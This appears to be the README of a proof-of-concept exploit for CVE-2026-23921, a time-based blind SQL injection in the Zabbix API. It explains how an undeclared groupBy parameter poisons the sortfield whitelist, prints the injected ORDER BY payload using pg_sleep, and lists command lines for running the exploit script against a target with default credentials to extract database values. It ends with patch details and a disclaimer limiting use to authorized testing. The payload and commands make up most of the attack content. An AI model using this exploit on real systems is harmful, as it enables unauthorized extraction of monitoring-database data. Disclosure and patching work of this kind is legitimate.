
Proof-of-concept exploit for CVE-2026-23921, a time-based blind SQL injection in Zabbix API via the sortfield parameter, enabling data extraction from PostgreSQL and MySQL backends.
Affected versions: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: High
Type: Time-based blind SQL injection via sortfield parameter
Auth required: Yes (any API user; Super Admin avoids permission joins)
Legacy Zabbix API services (host.get, trigger.get, item.get, etc.) accept an undeclared groupBy parameter through zbx_array_merge(). In CApiService::applyQuerySortOptions(), the groupBy array replaces the hardcoded whitelist used to validate . An attacker passes the same SQL payload in both and — validation passes against the attacker-controlled list, and the payload lands in without escaping.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] and sortfield: "hostid,(SELECT IF(...))--" with countOutput: truezbx_array_merge preserves the undeclared groupBy keyapplyQuerySortOptions builds whitelist from groupBy → validation passesapplyQuerySortField concatenates payload into ORDER BYcreateSelectQueryFromParts builds final SQL without escapingSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Upgrade to Zabbix 7.0.22 / 7.2.15 / 7.4.6 or later.
The patch replaces array_merge($options['groupBy'], ...) with array_intersect($this->sortColumns, $options['groupBy']) so attacker-supplied values never enter the whitelist. Additional is_string() and is_array() type checks were added as defense-in-depth.
This tool is for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test.